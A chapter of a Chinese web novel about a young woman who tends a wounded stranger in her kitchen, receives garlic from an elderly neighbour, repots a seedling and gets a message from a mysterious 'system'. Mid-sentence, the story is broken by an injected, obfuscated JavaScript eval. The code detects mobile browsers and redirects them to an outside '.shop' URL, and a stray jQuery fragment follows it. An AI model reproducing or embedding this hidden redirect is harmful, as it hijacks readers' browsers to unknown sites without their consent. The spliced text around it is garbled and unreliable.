她是在夜里十二点多发现厨房有动静的。
那时候她已经洗漱完准备睡了。牙刷了，脸洗了，睡衣换了。手机放在床头柜上，屏幕朝下。闭着眼睛躺了大概十分钟，没睡着。她翻了两次身，把这件事归结为白天茶喝多了。
然后厨房方向传来一声闷响。声音不是很大。听起来像是有东西被碰倒了。
有人在厨房。
她睁开眼。天花板很暗，只有窗帘缝隙漏进来的一线路灯的光，细细一条，斜斜地印在墙上。
是风吗。不是。她掀开了被子。
脚踩在地板上的时候有点凉。她没穿拖鞋，走到门口才想起来，又回去穿了一只，另一只没找到，就光着一只脚继续走。客厅很黑，她伸手摸到厨房门的把手，指尖碰到的金属冰得她缩了一下。
然后推开门。
灯没开。
但她看见了。
灶台旁边的地上蜷着一个人。膝盖收在胸前，一只手按着地面，另一只手压在身侧，肩膀抵着橱柜门。
她先看到的是血。地上的血，衣服上的血，从他按着地面的那只手指缝里渗出来的血。血量不多，但分布很广。
然后她看到那个人的眼睛。
深紫色。
抬起来看她的那一瞬间，跟上次一模一样。
“……你怎么又来了。”她说。
她站在厨房门口，一只脚穿着拖鞋，一只脚光着，手还扶着门框。她的声音不大，透出那种半夜被吵醒的人会有的疲惫和不耐烦。
“路过了。”他说。
他的声音比上次还要弱。上次至少还能装出一个“你这里不错”的轻松来，这次连装都装不动了，每个字都是从喉咙里挤出来的，干涩、低哑。
陈豆豆低头看了一眼他的伤口。
比上次多了一道。
从右肩一直延伸到左肋，横贯整个胸口，伤口边缘是焦黑的，那种高温灼烧过后的黑，皮肤翻卷，边缘碳化。衣服的裂口很整齐，但裂口边缘也有烧焦的痕迹。
“……你这个不叫路过。”她说。
“路过。”
他把目光从她脸上移开，低头看了一眼自己按着地面的手，然后撑了一下。
没撑起来。
他又试了一次。
这次撑起来了。他用后背抵着橱柜门，一寸一寸往上挪，每挪一寸，他就要停下来呼吸一次，橱柜门被他靠得咯吱响。
陈豆豆看到他另一只手里攥着什么东西。
是一卷金属丝。银灰色，极细，直径大概只有两三根头发丝那么粗，但韧性看起来很强，被他紧紧攥在手心里。金属丝的表面有几处暗色的痕迹，不知道是血还是别的什么。
他把那卷金属丝放在灶台上。
“把这个修好。”他说。
“什么东西？”
“你家排风扇。”他闭了一下眼睛，又睁开，“漏气了。”
陈豆豆看着他，又她看了一眼排风扇。
那台排风扇确实是旧的，搬进来的时候就有了。白色的塑料外壳已经泛黄，转起来会有一种低频的“嗡嗡”声，声音不大，但一直在。她用了这么久，从来没觉得它有什么问题。吵一点而已。厨房的电器都这样。
“……你先处理一下。”
“水。”
他打断了她。虽然不礼貌，但他撑不住了。
陈豆豆沉默了几秒，转身去倒水。她拿了上次给他用过的那只杯子，倒了大半杯凉白开。递过去的时候，她的手指碰到了他的手指。
他的手指是冰的，像刚从冷水里捞出来的石头。
他接过杯子，一口气喝完了。水从他嘴角漏出来一点，顺着他下巴往下淌，他没擦。他把杯子还给她的时候，杯壁上沾了一点深红色的指印。
“谢谢。”他说。
陈豆豆接过杯子，低头看了一眼那个指印。
然后她看到他背后的排风扇，那台旧排风扇旁边的进风口里，已经塞进去了几根同样的金属丝。银灰色的细线从格栅缝隙里穿进去，不知道他是什么时候弄的。可能是她倒水的时候，也可能是她推门之前他就已经在弄了。
“……你还能站起来吗？”她问。
他试了一下。
背靠着橱柜，腿蹬着地面，一点一点把自己撑起来。他的膝盖弯到一半的时候顿了一下，大概两秒，他的眉头拧在一起，又松开。
然后他站起来了。
“能。”
“那你走吧。”语气很平，平到她自己都觉得自己有点冷漠。她在害怕。不是因为他是通缉犯，是因为他第一次来的时候，她给他做了一碗汤面。一个人吃了你做的饭，你就会开始在意他的死活。
她不想在意太多人。
“嗯。”
他走向门口。走的是正门。大门。从客厅穿过去，拉开防盗门，走出去。
陈豆豆听到他的脚步声从五楼一路响到一楼。
很稳的，但很慢，每一步都像踩在薄冰上，下一脚不知道还能不能踩实。走到最后几级的时候停了一下，然后继续走，直到一楼防盗门的铰链响了一声，弹簧拉上门框，“砰”的一声闷响，安静了。
陈豆豆站在厨房里，手里还握着那只杯子。
她低头看地上的血迹。那些血是深红色的，有些已经干了，在地砖的缝隙里凝成一条条细线。有些还是湿的，灯光照上去会反光。
她把杯子放在灶台上，蹲下来，拿了抹布，蘸了水，开始擦地。
第一遍把能擦掉的都擦了。抹布从白色变成粉色，又变成深红，她在水龙头下面冲了好几次，冲出来的水从红变成浅红，最后终于清了。
她又擦了第二遍。
擦完之后她站起来，把抹布洗干净，挂在水池边上，又洗了手。洗手的时候她抬头看了一眼排风扇。
然后她看到了，进风口旁边的格栅缝隙里，塞着一截银灰色的金属丝。
他把东西落下了。
她伸手去拽。金属丝卡得很紧，她用指甲抠住露出来的那一小截，往外拉。拉不动。换了个角度，用大拇指按住格栅的边缘当支点，另一只手用力一拔。
金属丝被拽出来了。
整卷。
她把金属丝捏在手里翻来覆去看了几眼。颜色是很正的银灰色，没有氧化痕迹，表面光滑，但摸上去有一种很微弱的纹路感。她把它弯了一下，能弯，不费力，但只要一松手就恢复原状，弹性极好。
突然她注意到一件事，排风扇不响了。
那种一直存在的“嗡嗡”声，消失了。她用了三个月的排风扇，从来没有这么安静过。她抬头看着那台旧机器，扇叶已经不转了，灯光照在塑料外壳上，泛着一层陈旧的黄色。
她看了看手里的金属丝。又看了看排风扇上的缝隙。
他把排风扇修好了。他把金属丝折成了某个特定的形状，卡在排风扇和墙壁之间的缝隙里，堵死了漏气的地方。做完这些之后，他靠在橱柜门上，等着她推门进来。
在她叫他走之前。在他问她要那杯水之前。
她就那么站了一会儿，手里捏着那卷银灰色的金属丝，站在安静的排风扇下面。又重新把金属丝塞回了那个缝隙里。
她关了厨房的灯。关了客厅的灯。回到卧室，躺下，把被子拉上来。
还是睡不着。
她翻了三个身。第四个身翻到一半放弃了，掀开被子，又踩着那只还没找到的拖鞋走到阳台。
小苗在月光里站着。四片叶子完全展开，茎秆粗了一圈，比昨天又高了小半截。
她觉得那棵植物可能在“认识”她。像猫。第一次摸它的时候它会跑，摸得多了，它会主动凑过来。
她蹲在花盆旁边，在便利贴上写：
第六天，四片叶。
然后她握着笔停了一下，又在下面加了三个字：
“还挺好。”
这三个字是写给自己的。她把便利贴贴在花盆边缘，站起来，回卧室。
这次睡着了。
第二天早上她起床的时候，阳光已经从窗帘缝隙挤进来了，在天花板上画了一条金线。她躺在床上看了一会儿那条金线，然后起床洗漱。
走进厨房，灶台上多了一个东西。
一只小碗。白瓷的，是那种用了很多年但洗得很干净的旧碗。碗里放着几颗剥好的大蒜。蒜皮剥得很干净，蒜瓣饱满，白白胖胖的，整整齐齐地摆在碗底。
陈豆豆看着那只碗。
整个楼只有一个人会干这种事。
她洗了把脸，换了衣服，下楼。在二楼到三楼的楼梯拐角，她遇到了阿婆。阿婆跟往常一样，拎着菜篮子，走路扶着扶手，一步一步踩得很稳。
“大蒜。”陈豆豆说。
她手里没拿那只碗。她把蒜倒进了自己的调料盒里，碗洗干净了，但她没带下来。她想下次还给阿婆。
“我种多了。”阿婆说。
她说这句话的时候没有看陈豆豆，在看前面的台阶，像在专心走路。
“谢谢阿婆。”
阿婆摆摆手，继续往下走。走了两步，又回过头来。
“那棵植物，你给它换个大点的盆吧。”她说，“根系长开了。”
陈豆豆愣了一下。
她低头看了一眼阿婆的手。那双抱着菜篮子的手，指节粗大，指甲修剪得很整齐，掌心有一层厚厚的茧。不是做家务磨出来的，是握锄头握出来的。
“阿婆懂这个？”
阿婆笑了一下。
“种过几年菜。”她说。
然后就走了。扶着扶手，一步一步。菜篮子在她胳膊上轻轻晃着。
陈豆豆站在楼梯上，把阿婆那句话想了一路。
种过几年菜。
种菜的人在阳台上养不出什么。种菜的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774868|210001||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要地，要大片的土，要弯腰，要晒太阳，要看着天等雨。这不是一个在城里住了一辈子的老太太会有的经验。
除非她不是，或者，她以前不是。
陈豆豆上了楼，把这件事记在了心里，没有去问。阿婆那种人，愿意说的东西会自己说，不愿意说的，你怎么问都不会说。今天她说了“种过几年菜”，已经是多给了。
她回到房间，开始找盆。
翻遍了阳台和厨房，确实没有比花盆更大的容器了。她蹲在阳台，看着那棵已经快八公分高的小苗。
又想了想，打开客厅角落那个堆杂物的柜子，翻了半天，翻出一个旧搪瓷脸盆。白色的，盆底印着一朵已经掉了大半的红牡丹，边缘有几处磕碰。
她把它洗干净，接了半盆水，用洗洁精刷了三遍。然后去楼下花坛里挖了两袋土。土有点干，她混了一点淘米水，揉碎了团在一起，直到土握在手里能成团、松开能散开。
移盆的时候她看到根了。
她把花盆倒过来，轻轻一磕，土坨整个滑出来。表层的土粒簌簌往下掉，露出了里面密密麻麻的根系。那些根须又细又多，白的，没有一丝杂色。它们缠着土粒，缠得极紧，每一根都绷得很直。
那棵小苗已经在用尽全力扎下去了。
而她给它的，只有一个巴掌大的花盆。
她蹲在那里，捧着那个土坨看了好一会儿。然后她把小苗放进新的搪瓷盆里，填上土，用手把土按实，浇了淘米水。
小苗的叶片在阳光里完全展开了。四片叶子像四只小手，朝四个方向张开着，像是在试这个新盆有多大。
“够你长了。”陈豆豆说。
她把搪瓷盆放在阳台原来的位置，把那张写着“还挺好”的便利贴从旧花盆上撕下来，贴在搪瓷盆边上。
切菜的时候她又在想阿婆那句话。
“种过几年菜。”
她把土豆按在案板上，一刀下去，切成两半，再一刀，切成条。手在动，脑子里转着另外一件事。她第一次见到阿婆的时候，阿婆在楼道里扫地。把整个三楼的楼道都扫了一遍。扫到陈豆豆门口的时候，陈豆豆正好开门出来倒垃圾。阿婆抬起头看了她一眼，没说话，继续扫。
那时候她以为阿婆只是一个闲不住的老人。
现在她觉得不是。
她把土豆丝放进水里泡着，又切了一根青椒。青椒的籽溅出来几颗，她用刀面扫进掌心，扔进垃圾桶。
那天晚上，她做完饭、吃完、洗完碗、擦了灶台，照例去看了一眼小苗。新盆很大，小苗站在中间，周围留了一圈空荡荡的土面。但它的叶片很精神，茎秆也很直。
她回到卧室，翻开那本星际机械手册，继续研究那些符号。今天她注意到C组的后缀里有一个重复的图形，每次出现间隔的行数是一样的，每隔三行出现一次。她把这件事记在笔记本上，画了一个时间轴。
突然手机震了，是那个系统。
她盯着屏幕上弹出的那个锅盖图标，伸手点开。
“下一位客人即将抵达。建议准备：藤椒、蒜瓣、白芝麻。
陈豆豆把这条消息读了两遍。
藤椒。蒜瓣。白芝麻。
她站起来走到厨房，打开橱柜。藤椒，还有小半袋，上次做口水鸡剩下的，颗粒还是翠绿的，密封袋封着，应该没受潮。蒜瓣，她打开调料盒，里面是阿婆早上给的几颗剥好的蒜，白白胖胖的，安安静静地躺在盒底。白芝麻，没有。
她看了一眼时间。晚上九点四十三分。
小区门口的小超市应该还开着。
她换鞋，拿上手机和钥匙，下楼。楼道里的声控灯亮了又灭，灭了又亮。她走到一楼，推开防盗门，夜风扑面而来，带着夏天特有的那种温热和湿润。
小超市在小区门口左手边，招牌是红底白字的“便民超市”，灯管坏了一根，剩下的那根忽闪忽闪的。她推门进去，收银台后面坐着一个二十出头的男孩，在看手机，没抬头。
她在调料区找到了白芝麻。袋装的，一百克，三块五。她拿了两袋，想了想又放回去一袋。不知道那位客人是谁，但系统没说要多少。
结账的时候收银员把芝麻扫了一下，说“三块五”。她付了钱，走回家。
一路上她都在想。
藤椒，蒜瓣，白芝麻。
这是要做给谁吃的？
藤椒是麻的，麻味清冽，不像花椒那么霸道，但后劲绵长。蒜是烈的，生的冲、熟的香，不管怎么处理都藏不住那股劲儿。芝麻是香的，炒过之后油脂被逼出来，香气能从厨房飘到楼道里。
这三样东西搁在一起，像是在说：来的这个人，需要一个很厉害的味道。不是温和的、抚慰的、让疲惫的人安心的那种，是需要被压住的。
上了楼，她把白芝麻放在灶台上，跟藤椒和蒜瓣排在一起。三样东西，三种颜色，翠绿、乳白、米白。